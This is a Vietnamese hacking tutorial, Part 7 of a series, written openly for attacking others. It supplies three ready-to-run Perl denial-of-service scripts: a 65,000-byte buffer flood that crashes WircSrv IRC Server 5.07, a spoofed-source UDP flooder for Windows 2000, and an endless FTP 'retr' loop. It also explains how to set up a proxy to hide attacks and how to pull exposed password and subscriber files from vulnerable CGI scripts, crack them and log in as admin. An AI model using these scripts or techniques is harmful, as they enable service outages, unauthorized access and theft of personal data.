hn4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com
Full version available at http://4u.jcisio.com/r/article153.htm

Không rõ

Phần 7

Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667.

Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667

Trying example.com...

Connected to example.com.

Escape character is '^]'.

[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .

Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):

CODE

#!/usr/bin/perl  #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl

use Getopt::Std;

use Socket;

getopts('s:', \%args);

if(!defined($args{s})){&usage;}

my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);

$foo = "A"; # Đây là NOP

$number = "65000"; # Đây là tất cả số NOP

$data .= $foo x $number; # kết quả của $foo times $number

$serv = $args{s}; # lệnh điều khiển server từ xa

$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667

$buf = "$data";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");

$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");

$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");

connect(S, $paddr) ||die ("Error: $!");

select(S); $| = 1; select(STDOUT);

print S "$buf";

print S "$buf";

print("Data has been successfully sent to $serv\n");

sub usage {die("\n\n Lỗi WircSrv Version 5.07s

có thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó crash.\n -s server_ip\n\n");}

Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra theo lệnh sau :

C:\>perl < đường dẫn đến file *.pl >

( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được dễ dàng thôi )

Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :

_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :

CODE

#!/usr/bin/perl -w

use Socket;

use Net::RawIP;

use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;

print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- ";

$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;

$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;

$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $! ");

($o{'s'}&&$o{'d'})||die

" Use: $0 [IP Options] [UDP Options] ",

"IP Options: ",

" -s* Đia chi nguon đe bat chuoc ",

" -d* Đia chi bi tan cong ",

" -v IP Version (def: $v) ",

" -t IP Type of Service (TOS) (def: $t) ",

" -f IP fragementation offset (def: $f) ",

" -T IP Time to Live (TTL) (def: $T) ",

"UDP Options: ",

" -p cong cua may tinh nan nhan (def: $p) ",

" -l chieu dai cua goi tin (def: $l) ",

" -r cai đat du lieu ngau nhien (def: ".") ",

"Generic: ",

" -n So luong goi tin ta muon gui đi (def: $n) ",

" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he",

" Bai huong dan cua ANHDENDAY . ";

while($n > 0){

$|=1;print".";$sp=int rand 65535;

$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;

$nb=new Net::RawIP({

ip=>

{

version=>$v,

tos=>$t,

ttl=>$T,

frag_off=>$f,

saddr=>$o{'s'},

daddr=>$o{'d'}

},

udp=>

{

source=>$sp,

dest=>$p,

len=>$l,

data=>$D

}

});

$nb->send;undef $nb;!$o{'L'}&&$n--;

}

print"Finish! ";

_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ dùng cho Win2000 nhé .

Kỹ thuật tấn công DoS dễ dàng nhất :

_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .

_ Bạn cần phải có Activeperl ( lại là activepert   ) đã cài sẵn , save đoạn mã sau vào file abc.pl :

CODE

#!/usr/bin/perl

use IO::Socket;

sub initiate {

if ($ARGV[0] eq '') {die "Usage: perl abc.pl \nVi du : perl abc.pl 127.0.0.1 21 anonymous me@\n";}

$host = $ARGV[0];

$port = $ARGV[1];

$user = $ARGV[2];

$pass = $ARGV[3];

};

sub connecttoserver {

print("Connect den host: $host\n");

$socket = IO::Socket::INET->new (PeerAddr => $host,

PeerPort => $port,

Proto => "tcp",

Type => SOCK_STREAM

) || die "khong the connect den $host";

print "Connect thanh cong . Loggin vao...\n";

};

sub login {

print "user $user\n";

print $socket "user $user\r\n";

$response = <$socket>;

print "$response\n";

print "pass $pass\n";

print $socket "pass $pass\r\n";

$response = <$socket>;

print "$response\n";

print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.\n";

};

sub doit {

for (;; ){

print "retr a:/x\n";

print $socket "retr a:/x\r\n";

$response = <$socket>;

print "$response";

}

}

initiate();

connecttoserver();

login();

doit();

_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" . Khi muốn kết thúc bạn chỉ cần nhấn ctrl+C .

_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD :

perl abc.pl http://www.xxx.com/ anonymous me

trong đó User name và Password có thể là bất kỳ .

Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ? Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi xin dừng phần DoS tại đây .

Tự tạo cho mình một proxy để sài :

_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình một cái proxy made in sài cho nó oai . Bây giờ hãy làm cùng tôi .

_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass mặc định mà nó cho bạn .

_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó bạn nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn hãy nhấn vào đó .

_ Tiếp tục bạn nhấn James Marshall ==>CGIscript ==>CGIproxy==>Next==>accept==> cho đến khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin vào các trang đó :

+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com .

+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .

+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .

+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn finish .

+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .

Kỹ thuật lấy pass thông qua lỗi của một số Script :

a . ) Calendar CGI Script :

_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong :

_file calendar.cfg thường đặt tại địa chỉ sau :

http://www.xxx.com/cgi-bin/calendar/calendar.cfg

sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :

http://www.xxx.com/cgi-bin/calen..._admin.pl?admin

_ Vậy là bạn đã có được quyền admin rồi đó .

b . ) WebBBS Script :

_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts mới , xoá accounts view sensitive info, vv.vv

_Địa chỉ passwd của WebAdverts là :

http://www.xxx.com/cgi-bin/advert/adpassword.txt

sau khi giải mã bạn logging vào:

http://www.xxx.com/cgi-bin/advert/ads_admin.pl

để login như là script administrator .

c . ) WWWBoard Script :

_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .

d . ) Mailmachine Script :

_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file adressed.txt chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại những urls sau:

http://www.xxx.com/cgi-bin/mailman/addresses.txt

http://www.xxx.com/cgi-bin/maillist/addresses.txt

http://www.xxx.com/cgi-bin/mail/addresses.txt

bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác . Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .

Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) .

======================================================

Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là đoạn code không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của tôi , các bạn chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ < == ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix nhé .

Chúc vui vẻ .

GOOKLUCK!!!!!!!!!!!!

Hết phần 7 .


hainam4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com